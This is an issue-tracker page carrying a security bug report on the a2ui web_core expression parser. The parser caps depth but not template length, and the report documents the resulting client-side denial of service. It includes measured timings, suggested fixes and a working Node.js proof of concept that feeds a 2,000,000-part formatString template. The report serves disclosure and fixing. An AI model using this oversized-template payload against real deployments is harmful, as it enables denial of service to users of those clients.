a2ui-project / a2ui-project/a2ui
[BUG]: Expression parser has no template length or parts cap (multi-second parses per binding)
- Dominant language
- TypeScript
- Stars
- 16.4k
- Forks
- 1.3k
- Avg merge
- 2d 13h
- Merged PRs (30d)
- 134
Description
# Expression parser has no template length or parts cap (multi-second parses per binding)
Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)
## Summary
`ExpressionParser` bounds only recursion *depth* (`MAX_DEPTH = 10`); `parse()` accepts an input of any length and emits any number of `${…}` parts. `formatString` invokes the parser on the agent-supplied template with no bound, so a dynamic property bound to `{call:'formatString', args:{value: '<${x} repeated millions of times>'}}` performs a multi-second parse on initial resolution — and again on every re-resolution of the binding (each data-model change). The missing length/parts bound (present for depth, absent for breadth) is the defect.
## Affected code
- `renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts` — depth cap only (`MAX_DEPTH = 10`; npm dist `…/expression_parser.js:26,31-69`); no input-length or parts-count limit
- `renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions.ts` — `new ExpressionParser().parse(template)` on the agent-supplied `value`, unbounded (npm dist `…/basic_functions.js:210-211`)
## Observed behavior (measured)
Published package, a TextField `label` bound to `formatString` with a template of N interpolations:
| template | parse cost at bind |
|---|---|
| `hello ${x}` (control) | ~0 ms |
| 2,000,000 `${x}` parts | 978 ms |
Re-fires on every subsequent data-model change of bound paths.
## Impact
One spec-valid binding consumes ~1 s of main-thread time per resolution, repeated on each change — sustained client-side DoS from a single message. Availability only.
## Suggested remediation
- Cap template length and parts count in `ExpressionParser.parse` (reject beyond a threshold).
- Additionally bound `formatString`'s `value` argument length in its Zod schema.
## PoC
Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. Run `node poc_f25.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.
```js
// poc_f25.mjs — F-25: ExpressionParser.parse has no template length / parts-count
// cap (only depth=10). formatString calls it on a SERVER-CONTROLLED template.
// We bind a TextField `label` to {call:'formatString', args:{value: template}}
// and measure the mount-time resolution. Confirmed if the 2M-part binding takes
// >300 ms vs a 1-part control.
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
function setup(template) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/x', value: 'x' } },
{ version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: { call: 'formatString', args: { value: template } }, value: { path: '/x' } },
] } },
]);
return processor.model.getSurface('poc');
}
function timed(template) {
const surface = setup(template);
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const t0 = process.hrtime.bigint();
const sub = binder.subscribe(() => {});
const ns = Number(process.hrtime.bigint() - t0);
sub.unsubscribe(); binder.dispose(); surface.dispose();
return +(ns / 1e6).toFixed(0);
}
const ctrl = timed('hello ${x}');
const big = timed('${x} '.repeat(2_000_000));
const ok = big > 300 && big > ctrl * 20;
console.log(JSON.stringify({ finding: 'F-25-expression-parser-no-parts-cap', control_1part_ms: ctrl, with_2000000_parts_ms: big, confirmed: ok }, null, 2));
process.exit(ok ? 0 : 1);
```
Contributor guide
Research direction
Examine renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts to understand the MAX_DEPTH constant and the parse method. Look at basic_functions.ts where formatString calls the parser. The fix involves adding a maximum template length and parts count in the parser, and possibly updating the Zod schema for formatString's value argument. Run the provided PoC script to verify the performance issue and test the fix.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- node.js, typescript
- Domain
- backend-api-design, security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 65/100